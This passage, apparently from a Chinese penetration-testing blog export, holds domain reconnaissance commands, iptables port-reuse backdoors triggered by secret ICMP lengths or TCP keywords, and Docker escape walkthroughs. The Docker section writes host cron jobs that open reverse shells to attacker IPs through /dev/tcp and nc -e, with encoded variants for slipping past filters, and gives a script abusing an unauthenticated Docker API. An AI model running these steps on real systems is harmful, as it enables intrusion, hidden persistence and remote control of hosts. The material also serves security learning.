获得指定账户xxxx的详细信息</span><br><span class="line">net accounts /domain 获得域密码策略设置,密码长短,错误锁定等信息</span><br><span class="line">net view /domain 查询有几个域, 查询域列表</span><br><span class="line">net view /domain:xxxx 查看 xxxx域中的计算机列表</span><br><span class="line">nltest /domain_trusts 获取域信任信息</span><br><span class="line">net user domain-admin /domain 查看管理员登陆时间,密码过期时间,是否有登陆脚本,组分配等信息</span><br><span class="line">net config Workstation 查询机器属于哪个域</span><br><span class="line">net time /domian 查询主域服务器的时间</span><br><span class="line">echo %logonserver% 查看登陆到这台服务器的计算机名</span><br><span class="line">gpupdate/force 更新域策略</span><br><span class="line">tasklist /S ip /U domain\username /P /V 查看远程计算机进程</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category> 内网攻防 </category>
</categories>
<tags>
<tag> 域 </tag>
</tags>
</entry>
<entry>
<title>Linux利用iptables做端口复用</title>
<link href="2021/04/20/Linux%E5%88%A9%E7%94%A8iptables%E5%81%9A%E7%AB%AF%E5%8F%A3%E5%A4%8D%E7%94%A8/"/>
<url>2021/04/20/Linux%E5%88%A9%E7%94%A8iptables%E5%81%9A%E7%AB%AF%E5%8F%A3%E5%A4%8D%E7%94%A8/</url>
<content type="html"><![CDATA[<h2 id="Linux利用iptables做端口复用"><a href="#Linux利用iptables做端口复用" class="headerlink" title="Linux利用iptables做端口复用"></a>Linux利用iptables做端口复用</h2><h3 id="方案一:-根据源地址做端口复用"><a href="#方案一:-根据源地址做端口复用" class="headerlink" title="方案一:(根据源地址做端口复用)"></a>方案一:(根据源地址做端口复用)</h3><p>以下这条命令的作用是将来自192.168.10.13的访问80端口的流量都重定向到22端口。</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">iptables -t nat -A PREROUTING -p tcp -s 192.168.10.13 --dport 80 -j REDIRECT --to-port 22</span><br></pre></td></tr></table></figure><p>但是这样做有一个问题就是,我们访问目标主机80端口的流量都会被转给22端口。如果我们不用访问该HTTP服务的话,这是一个好的办法。实战中,我们一般是用VPS连接不用访问HTTP服务,所以在实战中该方法用的比较多。</p><h3 id="方案二:-根据源地址源端口做端口复用"><a href="#方案二:-根据源地址源端口做端口复用" class="headerlink" title="方案二:(根据源地址源端口做端口复用)"></a>方案二:(根据源地址源端口做端口复用)</h3><p>以下的命令是根据源地址源端口做端口复用,也就是只有来自192.168.10.13主机的33333端口的访问80端口的流量会被转给22端口.</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">iptables -t nat -A PREROUTING -p tcp -s 192.168.10.13 --sport 33333 --dport 80 -j REDIRECT --to-port 22</span><br></pre></td></tr></table></figure><p>然后我们本机先用socat将本地44444端口的流量以源端口33333访问192.168.10.129的80,然后我们SSH本地的44444端口即可。</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">nohup socat tcp-listen:44444,fork,reuseaddr tcp:192.168.10.129:80,sourceport=33333,reuseaddr &</span><br><span class="line">ssh -p 44444 root@127.0.0.1</span><br></pre></td></tr></table></figure><p>但是这样做有一个问题就是不支持多连接 如果想创建两个 SSH 连接就会出错,因为本地的33333 端口已经被第一个 SSH 连接占用了。</p><h3 id="方案三:-利用ICMP协议做遥控开关"><a href="#方案三:-利用ICMP协议做遥控开关" class="headerlink" title="方案三:(利用ICMP协议做遥控开关)"></a>方案三:(利用ICMP协议做遥控开关)</h3><p>利用 ICMP 做遥控开关。缺点在于如果目标在内网,你是无法直接 ping 到它的。</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">iptables -t nat -N LETMEIN <span class="comment">#创建端口复用链</span></span><br><span class="line"></span><br><span class="line">iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 <span class="comment">#创建端口复用规则,将流量转发至 22 端口</span></span><br><span class="line"></span><br><span class="line">iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length1139 -m recent --<span class="built_in">set</span> --name letmein --rsource -j ACCEPT <span class="comment">#开启开关,如果接收到一个长为 1139 的 ICMP 包,则将来源 IP 添加到加为letmein的列表中</span></span><br><span class="line"></span><br><span class="line">iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length1140 -m recent --name letmein --remove -j ACCEPT <span class="comment">#关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉</span></span><br><span class="line"></span><br><span class="line">iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN <span class="comment">#如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒</span></span><br></pre></td></tr></table></figure><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">开启复用</span><br><span class="line">ping -c 1 -s 1111 192.168.10.129 <span class="comment">#向目标发送一个长度为 1111 的 ICMP 数据包(加上包头28,总长度实际为1139)</span></span><br><span class="line"></span><br><span class="line">关闭复用</span><br><span class="line">ping -c 1 -s 1112 192.168.10.129 <span class="comment">#向目标发送一个长度为 1112 的 ICMP 数据包(加上包头 28,总长度实际为 1140)</span></span><br></pre></td></tr></table></figure><h3 id="方案四:-利用TCP协议做遥控开关"><a href="#方案四:-利用TCP协议做遥控开关" class="headerlink" title="方案四:(利用TCP协议做遥控开关)"></a>方案四:(利用TCP协议做遥控开关)</h3><p>利用 tcp 数据包中的关键字做遥控开关,不怕目标在内网。</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">iptables -t nat -N LETMEIN <span class="comment">#创建端口复用链</span></span><br><span class="line"></span><br><span class="line">iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 <span class="comment">#创建端口复用规则,将流量转发至 22 端口</span></span><br><span class="line"></span><br><span class="line">iptables -A INPUT -p tcp -m string --string <span class="string">'threathuntercoming'</span> --algo bm -m recent --<span class="built_in">set</span> --name letmein --rsource -j ACCEPT <span class="comment">#开启开关,如果接收到一个含有threathuntercoming的TCP包,则将来源 IP 添加到加为letmein的列表中</span></span><br><span class="line"></span><br><span class="line">iptables -A INPUT -p tcp -m string --string <span class="string">'threathunterleaving'</span> --algo bm -m recent --name letmein --remove -j ACCEPT <span class="comment">#关闭开关,如果接收到一个含有threathunterleaving的TCP包,则将来源 IP 从letmein的列表中移除</span></span><br><span class="line"></span><br><span class="line">iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN <span class="comment">#如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒</span></span><br></pre></td></tr></table></figure><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">开启复用,开启后本机到目标 80 端口的流量将转发至目标的 SSH</span><br><span class="line"><span class="built_in">echo</span> threathuntercoming | socat - tcp:192.168.10.129:80</span><br><span class="line"></span><br><span class="line">关闭复用,关闭后,80 恢复正常:</span><br><span class="line"><span class="built_in">echo</span> threathunterleaving | socat - tcp:192.168.10.129:80</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category> Linux </category>
</categories>
<tags>
<tag> iptables </tag>
</tags>
</entry>
<entry>
<title>docker逃逸</title>
<link href="2021/04/19/docker%E9%80%83%E9%80%B8/"/>
<url>2021/04/19/docker%E9%80%83%E9%80%B8/</url>
<content type="html"><![CDATA[<h1 id="使用特权模式启动容器的docker逃逸方法"><a href="#使用特权模式启动容器的docker逃逸方法" class="headerlink" title="使用特权模式启动容器的docker逃逸方法"></a>使用特权模式启动容器的docker逃逸方法</h1><p>使用特权模式启动镜像</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker run -it --privileged 2c047404e52d /bin/bash</span><br></pre></td></tr></table></figure><p>考虑到部署环境时大多使用vulhub的镜像,所以这里给出修正方案是在docker-compose.yml文件中添加一个字段,如下:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">privileged: <span class="literal">true</span></span><br></pre></td></tr></table></figure><p><img src="docker%E9%80%83%E9%80%B8.assets/image-20210106133232264.png" alt="image-20210106133232264"></p><p>修改完成后执行如下命令启动:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker-compose up -d</span><br></pre></td></tr></table></figure><p>通过漏洞利用拿到docker 容器的shell后:</p><p>查看磁盘文件:fdisk -l</p><p><img src="docker%E9%80%83%E9%80%B8.assets/image-20210106102824909.png" alt="image-20210106102824909"></p><p> 从返回结果来看sda1、sda2、sda5在/dev目录下。 </p><p><img src="docker%E9%80%83%E9%80%B8.assets/image-20210106102909850.png" alt="image-20210106102909850"></p><p>新建一个目录/test,将/dev/sda5挂载到新建的目录下,并查看test目录下的内容,发现可以访问宿主机上/目录下的内容了</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">mkdir ./<span class="built_in">test</span></span><br><span class="line">mount /dev/sda5 ./<span class="built_in">test</span></span><br></pre></td></tr></table></figure><p><img src="docker%E9%80%83%E9%80%B8.assets/image-20210106103015017.png" alt="image-20210106103015017"> </p><p>将反弹shell的命令写成一个脚本crontabshell存在/tmp下面</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#创建shell脚本文件</span></span><br><span class="line">touch ./<span class="built_in">test</span>/tmp/crontabshell</span><br><span class="line"><span class="comment">#写入反弹shell命令</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">"#!/bin/bash"</span> > ./<span class="built_in">test</span>/tmp/crontabshell</span><br><span class="line"><span class="built_in">echo</span> <span class="string">"bash -i >& /dev/tcp/192.168.20.133/8888 0>&1 &"</span> >> ./<span class="built_in">test</span>/tmp/crontabshell</span><br><span class="line"><span class="comment">#添加执行权限</span></span><br><span class="line">chmod 755 ./<span class="built_in">test</span>/tmp/crontabshell</span><br></pre></td></tr></table></figure><p><strong>==可能遇到的问题==</strong></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span><span class="bash">当命令执行有长度限制时,解决办法如下:</span></span><br><span class="line">echo "#!/bin/bash" >> ./test/tmp/crontabshell</span><br><span class="line">echo -n "bash -i " >> ./test/tmp/crontabshell</span><br><span class="line">echo -n "bash -i " >> ./test/tmp/crontabshell</span><br><span class="line">echo -n ">& /dev/" >> ./test/tmp/crontabshell</span><br><span class="line">echo -n "tcp/192." >> ./test/tmp/crontabshell</span><br><span class="line">echo -n "168.137." >> ./test/tmp/crontabshell</span><br><span class="line">echo -n "235/7777" >> ./test/tmp/crontabshell</span><br><span class="line">echo -n " 0>&1 &" >> ./test/tmp/crontabshell</span><br><span class="line"><span class="meta">#</span><span class="bash">如果遇到& >等特殊符号写不进去可以尝试编码之后再写,如下:</span></span><br><span class="line">touch ./test/tmp/crontabshell</span><br><span class="line">echo "#!/bin/bash" > ./test/tmp/crontabshell</span><br><span class="line">echo "bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.137.235%2F7777%200%3E%261%20%26" >> ./test/tmp/crontabshell</span><br></pre></td></tr></table></figure><p>在系统计划任务里写入执行脚本的定时任务:</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">"*/1 * * * * root /tmp/crontabshell"</span> >> ./<span class="built_in">test</span>/etc/crontab</span><br><span class="line"><span class="comment">#编码结果如下:</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">"*%2F1%20*%20*%20*%20*%20root%20%2Ftmp%2Fcrontabshell"</span> >> ./<span class="built_in">test</span>/etc/crontab</span><br></pre></td></tr></table></figure><p>在攻击机上开启netcat监听7777端口,成功接收到宿主主机的Shell,实现Docker逃逸。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc -nvlp 7777</span><br></pre></td></tr></table></figure><p><img src="docker%E9%80%83%E9%80%B8.assets/image-20210106185232646.png" alt="image-20210106185232646"></p><h1 id="docker-daemon-api-未授权访问"><a href="#docker-daemon-api-未授权访问" class="headerlink" title="docker daemon api 未授权访问"></a>docker daemon api 未授权访问</h1><p>访问your-ip:2375/version验证是否搭建成功</p><p><img src="docker%E9%80%83%E9%80%B8.assets/image-20210107154914903.png" alt="image-20210107154914903"></p><p>利用脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> docker</span><br><span class="line"></span><br><span class="line">client = docker.DockerClient(base_url=<span class="string">'http://192.168.11.160:2375/'</span>)</span><br><span class="line">data = client.containers.run(<span class="string">'alpine:latest'</span>, <span class="string">r'''sh -c "echo '*/1 * * * * /usr/bin/nc 192.168.11.1 21 -e /bin/sh' >> /tmp/etc/crontabs/root" '''</span>, remove=<span class="literal">True</span>, volumes={<span class="string">'/etc'</span>: {<span class="string">'bind'</span>: <span class="string">'/tmp/etc'</span>, <span class="string">'mode'</span>: <span class="string">'rw'</span>}})</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category> vuln </category>
</categories>
<tags>
<tag> docker </tag>
</tags>
</entry>
</search>